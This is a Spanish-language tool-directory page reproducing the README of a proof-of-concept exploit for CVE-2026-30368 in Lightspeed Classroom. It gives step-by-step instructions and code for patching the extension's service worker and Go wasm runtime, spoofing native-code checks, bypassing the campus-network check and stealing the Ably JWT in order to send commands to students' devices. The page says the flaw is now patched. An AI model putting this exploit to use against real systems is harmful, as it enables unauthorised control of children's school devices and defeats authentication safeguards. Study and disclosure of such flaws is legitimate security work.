Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
ls-poc — Prueba de concepto del exploit para CVE-2026-30368, que demuestra la omisión de autenticación en Lightspeed Classroom para controlar los dispositivos de los estudiantes a través del canal de Ably. | Kitploit
Herramientas/GitHubGitHub/truekas/ls-poc
ReconocimientoExplotaciónExplotación de Aplicaciones WebComando y ControlHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubtruekas/ls-poc

ls-poc

Prueba de concepto del exploit para CVE-2026-30368, que demuestra la omisión de autenticación en Lightspeed Classroom para controlar los dispositivos de los estudiantes a través del canal de Ably.

Ver Repositorio
12151hace 12 díasAún no revisado
Compartir

Prueba de concepto de CVE-2026-30368

[!IMPORTANT]

Esto está parcheado y ahora requiere credenciales; usa el workaround para realizar acciones sobre ti mismo.

Introducción

CVE-2026-30368 permite a un atacante controlar dispositivos de estudiantes mediante una falla de autenticación débil en la gestión de Lightspeed Classroom. El POC (poc.js) ejecuta el service worker de la extensión LS Classroom en contexto global. El worker también ejecuta classroom.wasm para algunas funciones. wasm-loader.js carga el worker y extrae el token JWT generado por classroom.wasm. Una vez extraído, termina el worker y luego envía el token a las APIs de Lightspeed para recibir un token usado para conectarse al canal Ably del objetivo. Desde allí, un atacante podría enviar un comando a un dispositivo de estudiante. La lista de comandos y mucha más información está en el writeup completo ubicado aquí.

[!IMPORTANT]

IMPORTANTE: Debido a desarrollos recientes, ya no se requieren archivos de extensión para el exploit en absoluto. El resto del README puede ignorarse. Simplemente completa los valores en oauth-poc.js y sigue las instrucciones para la depuración remota de Chrome. El README se conservará por razones históricas.

Para evitar problemas, recomiendo usar la versión 5.1.2.1763770643. Si necesitas ayuda para adaptar versiones más nuevas, es tu responsabilidad.
Puedes obtener los archivos worker.js y classroom.wasm del código fuente de la extensión de Lightspeed. Esto se puede obtener iniciando sesión con tu cuenta escolar en Chrome en un dispositivo personal y luego extrayendo el código fuente de la extensión desde la carpeta de extensiones ubicada en el directorio de tu perfil de Chrome. También puedes descargar manualmente el crx a través de la URL de actualización.

MÉTODO RECOMENDADO

El método más sencillo de este exploit es obtener primero classroom.wasm del código fuente de tu extensión, luego pegarlo en el mismo directorio que wasm-only.js y ejecutar:

$ node wasm-only.js

Introduce un correo electrónico y un ID de cliente cuando se solicite. Esto se conectará al canal de ably. Ve a la línea 815 y descomenta lo que quieras para enviar mensajes. Crédito: ktibow en discord

Configurar el cargador de wasm

Una vez que tengas los archivos, simplemente añádelos al directorio del repositorio clonado. Tendrás que ir a wasm-loader.js, a la función getManifest(), y pegar allí el manifiesto de tu extensión. También tendrás que añadir el ID de la extensión a wasm-loader.js en la parte superior.

Haz una copia de worker.js con el nombre de archivo que prefieras. La necesitarás más adelante. Tendrás que pasar worker.js por webcrack para desofuscarlo y desminificarlo y poder realizar las modificaciones necesarias. Al hacer esto, asegúrate de seleccionar únicamente las opciones "Deobfuscate" y "Unminify". Antes de pegar el resultado de nuevo en tu editor, se recomienda desactivar todos los servidores LSP, ya que eliminarán variables aleatorias y harán que el worker se rompa en las etapas posteriores (mirándote a ti, vtsls...)

Parchear el Worker

Dado que el service worker se ejecutará en node.js (asegúrate de tenerlo instalado), necesitará algunos parches para funcionar correctamente. También hay que añadir la lógica de extracción de JWT. Añade las siguientes 2 funciones en el muy principio de worker.js:

function valueCallBefore(call, before, func, r) {
  const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
  if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
    return [actualWorkerUrl, call[1]];
  }
  if (func == chrome.identity.getProfileUserInfo) {
          call[1](https://github.com/truekas/ls-poc/blob/master/identity)
          return []
  }
  return before
}

function valueCallAfter(call, after, func, r) {
  if (func.name == "toString"){
          return 'function getProfileUserInfo() { [native code] }'
  }
  if (call[0] == "worker.js") {
          return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
  }
  return after
}

Estos se usarán cuando modifiquemos el runtime de wasm de Go para interceptar y modificar los valores utilizados por el wasm del aula de LS. Asegúrate de reemplazar YOUR_EXTENSION_ID con el ID de tu extensión y worker_copy.js con el nombre del archivo de la copia de worker.js original que hiciste previamente. A continuación, añade estas 2 funciones dentro de la función flecha principal (después de (() => {)

chrome.runtime.getPlatformInfo = function (e) {
 	e({
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	})
 	return {
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	}
}

chrome.identity.getProfileUserInfo = function (e) {
 	if (e){
  		e(identity)
 	} else {
  		return identity
 	}
}

A continuación, debes codificar de forma fija IsClassroomActive como true para poder ejecutar esto fuera de las redes del campus. Simplemente cambia la función para que siempre devuelva true:

_0x22e7ce.exports = {
  IsChromebookOnly: _0x218c73,
  IsClassroomActive: function () {
    return true;
  },
  LoadPolicy: _0x9069fc
};

Luego, busca syscall/js.valueCall para encontrar la función valueCall que necesita ser modificada. Esto es lo que informa al wasm de un valor de JS. Los 2 valores que son interceptados y modificados al modificar esta función son la ruta de worker.js (se cambia a la copia de tu worker para que la verificación de hash pase) y el valor de chrome.identity.getProfileUserInfo.toString se cambia para que diga native code de modo que el WASM crea que se puede confiar en él cuando en realidad ha sido modificado al principio del archivo. Para hacer esto, necesitas usar las funciones valueCallBefore y valueCallAfter que definimos al principio. Modifica la función valueCall de esta manera (los nombres de las variables variarán, pero la estructura es la misma):

"syscall/js.valueCall": function (_0x4b3309) {
  _0x4b3309 >>>= 0;
  try {
    var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
    var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
    var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
    _0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
    var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
    _0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x1b573a);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
  } catch (_0x4b14cb) {
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
  }
},

Casi terminado. Por último, debes añadir código para capturar el JWT. Busca echoMessages: false y encontrarás la variable que contiene la lista de encabezados enviados a Ably. Justo debajo de eso, añade esta línea (es muy probable que los nombres de las variables no sean exactos, puedes encontrar la misma línea accediendo a ablyJwt en authHeaders):

globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");

Esto asigna el JWT a una variable en el ámbito global para que wasm-loader.js (el "arnés" que ejecuta el service worker) pueda acceder a él. Con esto concluye la modificación del worker. Asegúrate de que todos tus LSP sigan desactivados. Si se vuelven a activar, es posible que experimentes problemas con variables no definidas más adelante.

Descargar herramienta

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    547
  • 3

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    369
  • 4

    redforge

    cybersecurity91/redforge

    Kit de herramientas de red team del lado del navegador con 102 herramientas offline para reconocimiento, generación de payloads, ataques de credenciales, criptografía, codificación y elaboración de informes de compromiso.

    366
  • 5

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingiere informes de Shadowserver en MongoDB y los reproduce como mapas interactivos, análisis, hallazgos, avisos y paneles ejecutivos.

    309
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    El sistema de acción para la ciberseguridad nativa de IA—donde la intención se convierte en ejecución gobernada, la evidencia se convierte en memoria operativa y cada operación mejora la siguiente.

    282

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →